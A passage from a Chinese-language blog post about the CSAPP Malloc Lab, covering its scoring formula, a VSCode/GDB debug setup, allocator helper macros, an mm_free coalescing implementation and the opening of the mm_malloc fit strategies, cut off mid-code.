12153</span><br><span class="line"> 4       yes   95%   14400  0.000638 22567</span><br><span class="line"> 5       yes   96%    4800  0.000673  7135</span><br><span class="line"> 6       yes   95%    4800  0.000634  7569</span><br><span class="line"> 7       yes   95%   12000  0.002629  4565</span><br><span class="line"> 8       yes   88%   24000  0.002540  9451</span><br><span class="line"> 9       yes   99%   14401  0.000453 31811</span><br><span class="line">10       yes   99%   14401  0.000538 26758</span><br><span class="line">Total          97%  112372  0.010042 11190</span><br><span class="line"></span><br><span class="line">Perf index = 58 (util) + 40 (thru) = 98/100</span><br></pre></td></tr></table></figure><p>我使用的是 CSAPP Labs 官网提供的 Handout 自带的评分标准，不同学校的老师和助教可能自行调整了评分标准和测试样例，可能有所差异。</p><blockquote><p>北大的 ICS 用的是 CSAPP 欸…有点羡慕，SCNU 何时崛起 =-=</p></blockquote><p>下面是分数的具体计算方式：</p><ul><li><code>util</code>（利用率）的分数根据平均利用率计算，满分为 60 分，利用率越高分数越高。</li><li><code>thru</code>（吞吐量）的分数根据平均吞吐量与 glib malloc 的平均吞吐量的比值计算，满分为 40 分，吞吐量越高分数越高。</li></ul><p>注意到实际上 <code>AVG_LIBC_THRUPUT</code> 写死为 600Kops/sec，而这个值可能是参考 14 年的算力取的值，在今天怕是已经过时了…</p><blockquote><p>难怪这么容易达成满分吞吐量…我是在写完整个 Lab 之后才发现的，就不用 glib malloc 的实时数据为基准了，否则我还得继续凹吞吐量，太累了…</p></blockquote><p>以下取自官网：</p><blockquote><p>Malloc Lab [Updated 9/2/14]</p><p>Students implement their own versions of malloc, free, and realloc. This lab gives students a clear understanding of data layout and organization, and requires them to evaluate different trade-offs between space and time efficiency. One of our favorite labs. When students finish this one, they really understand pointers!</p></blockquote><p>以下分数计算部分的代码：</p><details><summary>分数计算代码</summary><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">* This constant gives the estimated performance of the libc malloc</span></span><br><span class="line"><span class="comment">* package using our traces on some reference system, typically the</span></span><br><span class="line"><span class="comment">* same kind of system the students use. Its purpose is to cap the</span></span><br><span class="line"><span class="comment">* contribution of throughput to the performance index. Once the</span></span><br><span class="line"><span class="comment">* students surpass the AVG_LIBC_THRUPUT, they get no further benefit</span></span><br><span class="line"><span class="comment">* to their score.  This deters students from building extremely fast,</span></span><br><span class="line"><span class="comment">* but extremely stupid malloc packages.</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> AVG_LIBC_THRUPUT      600E3  <span class="comment">/* 600 Kops/sec */</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">    * Accumulate the aggregate statistics for the student&#x27;s mm package</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line">secs = <span class="number">0</span>;</span><br><span class="line">ops = <span class="number">0</span>;</span><br><span class="line">util = <span class="number">0</span>;</span><br><span class="line">numcorrect = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>; i &lt; num_tracefiles; i++) &#123;</span><br><span class="line">secs += mm_stats[i].secs;</span><br><span class="line">ops += mm_stats[i].ops;</span><br><span class="line">util += mm_stats[i].util;</span><br><span class="line"><span class="keyword">if</span> (mm_stats[i].valid)</span><br><span class="line">    numcorrect++;</span><br><span class="line">&#125;</span><br><span class="line">avg_mm_util = util/num_tracefiles;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment">    * Compute and print the performance index</span></span><br><span class="line"><span class="comment">    */</span></span><br><span class="line"><span class="keyword">if</span> (errors == <span class="number">0</span>) &#123;</span><br><span class="line">avg_mm_throughput = ops/secs;</span><br><span class="line"></span><br><span class="line">p1 = UTIL_WEIGHT * avg_mm_util;</span><br><span class="line"><span class="keyword">if</span> (avg_mm_throughput &gt; AVG_LIBC_THRUPUT) &#123;</span><br><span class="line">    p2 = (<span class="type">double</span>)(<span class="number">1.0</span> - UTIL_WEIGHT);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123;</span><br><span class="line">    p2 = ((<span class="type">double</span>) (<span class="number">1.0</span> - UTIL_WEIGHT)) *</span><br><span class="line">    (avg_mm_throughput/AVG_LIBC_THRUPUT);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">perfindex = (p1 + p2)*<span class="number">100.0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Perf index = %.0f (util) + %.0f (thru) = %.0f/100\n&quot;</span>,</span><br><span class="line">        p1*<span class="number">100</span>,</span><br><span class="line">        p2*<span class="number">100</span>,</span><br><span class="line">        perfindex);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span> &#123; <span class="comment">/* There were errors */</span></span><br><span class="line">perfindex = <span class="number">0.0</span>;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;Terminated with %d errors\n&quot;</span>, errors);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></details><hr /><p>介于显然需要大量操作指针，位读取写入，设计一套可靠的宏/辅助函数是必要的，但是很容易走弯路。</p><p>比如我一开始没封装 <code>GET(ptr)</code> 和 <code>PUT(ptr, val)</code>，这种最基础的操作，而是直接在 <code>GET_SIZE</code> 和 <code>GET_ALLOC</code> 里面操作，直接导致大量时间花在 DEBUG 上</p><p>又比如在写各个函数时，显然会遇到块的指针 <code>chunk_ptr</code> 和 <code>payload_ptr</code> 的混淆问题，让一开始以 <code>payload_ptr</code> 为基准设计函数和宏，那么可有的好受了…</p><p>有以下槽点/坑：</p><ul><li><p>任何有意义的常量都应该写为 <code>#define</code></p></li><li><p>尽可能不要在函数里直接操作指针，都应该封装为单独的函数/宏</p></li><li><ul><li>其中多过程的操作应该封装为函数，而且不应该吝啬行数，尽可能写中间变量，方便 DEBUG</li></ul></li><li><ul><li>要注意 <code>void *</code> 不能直接运算，需要先转为比如 <code>char *</code> 才能加减</li></ul></li><li><p>每修改完一点并通过测试后，都应该保存版本！</p></li><li><p>适当将判断条件也用 <code>int xx_flag</code> 来存储，方便 DEBUG</p></li></ul><p>在具体三个函数的实现之前，我还学到了如何配置 <code>.vscode</code> 结合 GDB 调试，记录一下：</p><details><summary>VSCode 调试配置</summary><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// tasks.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;2.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;tasks&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;label&quot;</span><span class="punctuation">:</span> <span class="string">&quot;make build&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;shell&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;command&quot;</span><span class="punctuation">:</span> <span class="string">&quot;make clean &amp;&amp; make mdriver&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;options&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;cwd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$&#123;workspaceFolder&#125;&quot;</span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;group&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;kind&quot;</span><span class="punctuation">:</span> <span class="string">&quot;build&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;isDefault&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">            <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;problemMatcher&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;$gcc&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;presentation&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">                <span class="attr">&quot;echo&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;reveal&quot;</span><span class="punctuation">:</span> <span class="string">&quot;always&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;focus&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;panel&quot;</span><span class="punctuation">:</span> <span class="string">&quot;shared&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;showReuseMessage&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span><span class="punctuation">,</span></span><br><span class="line">                <span class="attr">&quot;clear&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span></span><br><span class="line">            <span class="punctuation">&#125;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// launch.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;0.2.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;configurations&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">            <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;(gdb) Launch Malloc Lab&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;cppdbg&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;request&quot;</span><span class="punctuation">:</span> <span class="string">&quot;launch&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;program&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$&#123;workspaceFolder&#125;/mdriver&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;args&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="string">&quot;-t&quot;</span><span class="punctuation">,</span> <span class="string">&quot;traces&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;-v&quot;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="string">&quot;-l&quot;</span></span><br><span class="line">            <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;stopAtEntry&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;cwd&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$&#123;workspaceFolder&#125;&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;environment&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;externalConsole&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">false</span></span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;MIMode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;gdb&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;setupCommands&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">                <span class="punctuation">&#123;</span></span><br><span class="line">                    <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;为 gdb 启用整齐打印&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;text&quot;</span><span class="punctuation">:</span> <span class="string">&quot;-enable-pretty-printing&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;ignoreFailures&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">                <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">                <span class="punctuation">&#123;</span></span><br><span class="line">                    <span class="attr">&quot;description&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Disable debuginfod to prevent hanging&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;text&quot;</span><span class="punctuation">:</span> <span class="string">&quot;set debuginfod enabled off&quot;</span><span class="punctuation">,</span></span><br><span class="line">                    <span class="attr">&quot;ignoreFailures&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line">                <span class="punctuation">&#125;</span></span><br><span class="line">            <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;preLaunchTask&quot;</span><span class="punctuation">:</span> <span class="string">&quot;make build&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="attr">&quot;miDebuggerPath&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/usr/bin/gdb&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">]</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></details><p>其中注意 <code>set debuginfod enabled off</code> 可能对于编译成功但是 launch 后没有任何输出有帮助（在 ArchLinux 上遇到过，没细看，据说和联网下载某 DEBUG 所需文件有关）</p><hr /><h2 id="lab-的内置函数和要求"><a class="markdownIt-Anchor" href="#lab-的内置函数和要求"></a> Lab 的内置函数和要求</h2><h3 id="内置函数"><a class="markdownIt-Anchor" href="#内置函数"></a> 内置函数</h3><p>Lab 中提供了以下自带函数：</p><ul><li><p><code>mem_sbrk(int incr)</code>：向系统申请 <code>incr</code> 字节的内存，返回指向新内存块的指针，失败时返回 <code>(void *)-1</code></p></li><li><p><code>mem_heap_lo()</code>：返回堆的起始地址</p></li><li><p><code>mem_heap_hi()</code>：返回堆的结束地址（注意到，这个地址是堆的最后一个字节的地址，而不是最后一个字节的下一个地址）</p></li></ul><p>其他函数没用上，忽略。</p><h3 id="编程要求"><a class="markdownIt-Anchor" href="#编程要求"></a> 编程要求</h3><p>参考 <a href="https://csapp.cs.cmu.edu/3e/malloclab.pdf">PDF</a> 中的 Programming Rules,这里不再赘述.</p><blockquote><p>我天 2001 年的 PDF…</p></blockquote><h2 id="具体实现"><a class="markdownIt-Anchor" href="#具体实现"></a> 具体实现</h2><p>按照我所经历的思路是先隐式链表，再显式链表，最后改进为分离链表。</p><h3 id="隐式链表"><a class="markdownIt-Anchor" href="#隐式链表"></a> 隐式链表</h3><p>先设计隐式链表的 Chunk 的结构，包含 Header 和 Footer。</p><p>其中 Header 和 Footer 内容一样，要记录 Chunk Size 和 Allocated Flag，这样获得 Header 就可以往下遍历，获得 Footer 就可以往上遍历，用于后续的合并 Chunk。</p><p>考虑到 4 字节的 size 足以记录 4GB 的内存，又注意到 Chunk Size 总是 8 字节对齐的，后三位总是 0，那么只需要四字节就可以存 Header 和 Footer，后三位无用，可以用于记录一些用于优化的 Flag，在此先第一位放入 Allocated Flag。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">  4Bytes             4Bytes</span><br><span class="line">| Header | Payload | Footer |</span><br></pre></td></tr></table></figure><p><code>Chunk Size = ALIGN(Payload Size) + Header Size + Footer Size</code></p><p>因此构建以下宏：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* single word (4) or double word (8) alignment */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ALIGNMENT 8</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* rounds up to the nearest multiple of ALIGNMENT */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> ALIGN(size) (((size) + (ALIGNMENT - 1)) &amp; ~0x7)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SIZE_T_SIZE (ALIGN(sizeof(size_t)))</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> BUCKET_SIZE 24</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CHUNK_HEADER_SIZE 4</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CHUNK_FOOTER_SIZE 4</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 用 unsigned int (4字节) */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> GET(p) (*(unsigned int *)(p))</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PUT(p, val) (*(unsigned int *)(p) = (unsigned int)(val))</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PACK(size, alloc, prev_alloc) ((size) | (alloc) | ((prev_alloc) &lt;&lt; 1))</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> PAYLOAD_TO_CHUNK(bp) ((char *)(bp) - CHUNK_HEADER_SIZE)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> CHUNK_TO_PAYLOAD(cp) ((char *)(cp) + CHUNK_HEADER_SIZE)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> GET_SIZE(p) (GET(p) &amp; ~0x7)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> GET_ALLOC(p) (GET(p) &amp; 0x1)</span></span><br></pre></td></tr></table></figure><p>那么可以开始考虑三种操作：</p><ul><li><p><code>mm_malloc</code>：要么找到空闲块，要么直接 <code>mem_sbrk</code> 申请新的内存块</p></li><li><p><code>mm_free</code>：将块标记为未分配，并尝试与前后块合并</p></li><li><p><code>mm_realloc</code>：先考虑最简单的做法，直接 <code>mm_malloc</code> 新的块，然后 <code>memcpy</code> 旧块的数据到新块，最后 <code>mm_free</code> 旧块</p></li></ul><h4 id="mm_free-impl"><a class="markdownIt-Anchor" href="#mm_free-impl"></a> <code>mm_free</code> Impl</h4><p>显然相邻的空闲块需要被合并，<code>mm_free</code> 应该检查前后块是否为空闲。</p><p>检查前块可以通过 <code>current_chunk_ptr - CHUNK_FOOTER_SIZE</code> 获得前块的 Footer 地址，然后获取前块的大小，最后获取前块的地址。</p><p>检查后块可以通过 <code>current_chunk_ptr + current_chunk_size</code> 获得后块的地址。</p><p><code>mm_free</code> 的合并可以分为四种情况：</p><ul><li>前后块都分配：不合并，直接返回</li><li>前块分配，后块空闲：与后块合并</li><li>前块空闲，后块分配：与前块合并</li><li>前后块都空闲：与前后块合并</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * mm_free - Freeing a block does nothing.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">mm_free</span><span class="params">(<span class="type">void</span> *ptr)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">void</span> *chunk_ptr = PAYLOAD_TO_CHUNK(ptr);</span><br><span class="line">    <span class="type">size_t</span> chunk_size = GET_SIZE(chunk_ptr);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// merge with nearby free chunks</span></span><br><span class="line">    <span class="type">void</span> *next_chunk_ptr = (<span class="type">char</span> *)chunk_ptr + chunk_size;</span><br><span class="line">    <span class="type">void</span> *prev_chunk_footer_ptr = (<span class="type">char</span> *)chunk_ptr - CHUNK_FOOTER_SIZE;</span><br><span class="line">    <span class="type">void</span> *prev_chunk_ptr = (<span class="type">char</span> *)chunk_ptr - GET_SIZE(prev_chunk_footer_ptr);</span><br><span class="line"></span><br><span class="line">    <span class="type">int</span> prev_chunk_free_flag = <span class="number">0</span>;</span><br><span class="line">    <span class="type">int</span> next_chunk_free_flag = <span class="number">0</span>;</span><br><span class="line">    <span class="type">size_t</span> prev_chunk_size = <span class="number">0</span>;</span><br><span class="line">    <span class="type">size_t</span> next_chunk_size = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="type">void</span> *new_free_chunk_ptr = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (prev_chunk_ptr &gt;= mem_heap_lo())</span><br><span class="line">    &#123;</span><br><span class="line">        prev_chunk_free_flag = !GET_ALLOC(prev_chunk_ptr);</span><br><span class="line">        prev_chunk_size = GET_SIZE(prev_chunk_ptr);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (next_chunk_ptr &lt; mem_heap_hi())</span><br><span class="line">    &#123;</span><br><span class="line">        next_chunk_free_flag = !GET_ALLOC(next_chunk_ptr);</span><br><span class="line">        next_chunk_size = GET_SIZE(next_chunk_ptr);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (!prev_chunk_free_flag &amp;&amp; !next_chunk_free_flag)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// just set current chunk to free</span></span><br><span class="line">        set_chunk_meta(chunk_ptr, chunk_size, <span class="number">0</span>);</span><br><span class="line">        new_free_chunk_ptr = chunk_ptr;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (prev_chunk_free_flag &amp;&amp; !next_chunk_free_flag)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// merge with previous</span></span><br><span class="line">        <span class="type">size_t</span> merged_chunk_size = chunk_size + prev_chunk_size;</span><br><span class="line">        set_chunk_meta(prev_chunk_ptr, merged_chunk_size, <span class="number">0</span>);</span><br><span class="line">        remove_chunk_from_free_linked_list(prev_chunk_ptr);</span><br><span class="line">        new_free_chunk_ptr = prev_chunk_ptr;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (!prev_chunk_free_flag &amp;&amp; next_chunk_free_flag)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// merge with next</span></span><br><span class="line">        <span class="type">size_t</span> merged_chunk_size = chunk_size + next_chunk_size;</span><br><span class="line">        set_chunk_meta(chunk_ptr, merged_chunk_size, <span class="number">0</span>);</span><br><span class="line">        remove_chunk_from_free_linked_list(next_chunk_ptr);</span><br><span class="line">        new_free_chunk_ptr = chunk_ptr;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">// merge with both</span></span><br><span class="line">        <span class="type">size_t</span> merged_chunk_size = chunk_size + prev_chunk_size + next_chunk_size;</span><br><span class="line">        set_chunk_meta(prev_chunk_ptr, merged_chunk_size, <span class="number">0</span>);</span><br><span class="line">        remove_chunk_from_free_linked_list(prev_chunk_ptr);</span><br><span class="line">        remove_chunk_from_free_linked_list(next_chunk_ptr);</span><br><span class="line">        new_free_chunk_ptr = prev_chunk_ptr;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (new_free_chunk_ptr != <span class="literal">NULL</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        insert_chunk_to_free_linked_list(new_free_chunk_ptr);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>注意设置 Allocated Flag。</p><p>并不保证这些参考片段的正确性,都是从 Git History 里面截取的</p></blockquote><h4 id="mm_malloc-impl"><a class="markdownIt-Anchor" href="#mm_malloc-impl"></a> <code>mm_malloc</code> Impl</h4><p><code>mm_malloc</code> 需要找出合适的空闲块，书上有三种方法：</p><ul><li>First Fit：从头开始遍历，找到第一个大小合适的空闲块</li><li>Next Fit：从上次分配的位置开始遍历，找到第一个大小合适的空闲块</li><li>Best Fit：遍历所有空闲块，找到最适合的空闲块</li></ul><p>其中 Next Fit 可以通过一个全局变量 <code>rover_ptr</code> 来记录上次分配的位置，避免每次都从头开始遍历。</p><p>其他两种也只需要分别修改 <code>start_ptr</code> 和返回条件即可,很简单.</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 